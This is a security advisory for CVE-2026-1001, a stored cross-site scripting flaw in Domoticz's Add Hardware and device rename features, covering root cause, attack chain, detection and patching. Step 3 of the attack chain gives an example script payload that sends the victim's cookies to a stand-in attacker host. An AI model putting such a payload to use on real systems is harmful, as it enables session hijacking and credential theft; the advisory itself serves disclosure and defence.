CVE-2026-1001: Domoticz Stored XSS Vulnerability

CVE-2026-1001 Overview

CVE-2026-1001 is a stored cross-site scripting (XSS) vulnerability in Domoticz, a popular open-source home automation system. The vulnerability exists in the Add Hardware and device rename functionality of the web interface, allowing authenticated administrators to inject and execute arbitrary scripts by supplying crafted names containing script or HTML markup. Malicious code is stored and subsequently rendered without proper output encoding, causing script execution in the browsers of users viewing the affected page and enabling unauthorized actions within their session context.

Critical Impact

Authenticated attackers can persist malicious JavaScript that executes in the context of other users' browser sessions, potentially leading to session hijacking, credential theft, and unauthorized administrative actions within the Domoticz home automation environment.

Affected Products

• Domoticz versions prior to 2026.1

Discovery Timeline

• 2026-03-25 - CVE-2026-1001 published to NVD
• 2026-03-26 - Last updated in NVD database

Technical Details for CVE-2026-1001

Vulnerability Analysis

This stored XSS vulnerability (CWE-79) arises from improper neutralization of input during web page generation in Domoticz's hardware configuration and device management interfaces. The application fails to properly sanitize user-supplied input when administrators create or rename hardware devices, allowing script tags and HTML markup to be persisted in the database. When other users navigate to pages displaying these device names, the unsanitized content is rendered directly in the DOM, causing the injected JavaScript to execute within the victim's browser session.

The attack requires network access and relies on an authenticated administrator to inject the payload, with subsequent user interaction needed when victims view the affected pages. While the vulnerability is classified as medium severity due to these prerequisites, successful exploitation can lead to significant impacts on the confidentiality and integrity of user sessions in the subsequent system.

Root Cause

The root cause is insufficient output encoding in the Domoticz web interface when rendering hardware names and device identifiers. User-controlled input submitted through the Add Hardware and rename device functionality is stored without adequate sanitization and later displayed without proper HTML entity encoding, allowing script injection payloads to be interpreted as executable code by the browser.

Attack Vector

An authenticated administrator with access to the Domoticz web interface can exploit this vulnerability through the following attack chain:

1. The attacker authenticates to the Domoticz administrative interface
2. The attacker navigates to the hardware configuration section (Add Hardware functionality) or device rename feature
3. The attacker supplies a malicious device name containing script or HTML markup (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
4. The crafted payload is stored in the application database
5. When other authenticated users view the hardware list or device information, the malicious script executes in their browser context
6. The attacker can harvest session tokens, perform actions on behalf of victims, or redirect users to phishing pages

Since this vulnerability requires administrative privileges to inject payloads, the primary risk scenario involves compromised administrator accounts, malicious insiders, or multi-tenant environments where multiple administrators have access to the same Domoticz instance.

Detection Methods for CVE-2026-1001

Indicators of Compromise

• Unusual device or hardware names containing HTML tags, JavaScript event handlers (e.g., onerror, onclick), or <script> elements in the Domoticz database
• Web server access logs showing requests with encoded script payloads targeting hardware configuration endpoints
• Browser console errors or unexpected network requests to external domains when viewing Domoticz interface pages
• Reports of unexpected behavior or redirects from users accessing the Domoticz web interface

Detection Strategies

• Implement web application firewall (WAF) rules to detect and block XSS payloads in POST requests to hardware management endpoints
• Deploy browser-based security solutions that can detect and prevent malicious script execution
• Monitor Domoticz database tables for entries containing suspicious HTML/JavaScript markup in name fields
• Review administrator activity logs for unusual hardware creation or device renaming operations

Monitoring Recommendations

• Enable and centralize logging for all Domoticz administrative actions, particularly hardware configuration changes
• Configure Content Security Policy (CSP) headers to restrict inline script execution and report violations
• Implement real-time alerting for database entries matching XSS patterns in user-controllable fields
• Monitor outbound network connections from client browsers for unexpected data exfiltration attempts

How to Mitigate CVE-2026-1001

Immediate Actions Required

• Upgrade Domoticz to version 2026.1 or later immediately to remediate this vulnerability
• Audit existing hardware names and device configurations for malicious script content and sanitize any compromised entries
• Review administrator account access and enforce principle of least privilege
• Consider implementing additional network segmentation to restrict access to the Domoticz administrative interface

Patch Information

Domoticz has addressed this vulnerability in version 2026.1. The patch implements proper output encoding for hardware names and device identifiers rendered in the web interface, preventing stored XSS payloads from executing. Organizations should upgrade to this version as soon as possible.

For detailed information about the fix, refer to the Domoticz Version 2026.1 Release notes. Additional technical details are available in the VulnCheck Advisory on Domoticz XSS.

Workarounds

• Restrict administrative access to the Domoticz web interface to trusted users only via network-level access controls
• Deploy a reverse proxy or WAF in front of Domoticz to filter XSS payloads in incoming requests
• Implement strict Content Security Policy (CSP) headers that prevent inline script execution
• Disable or restrict access to hardware configuration features until the patch can be applied
• Regularly audit hardware and device names in the database for suspicious content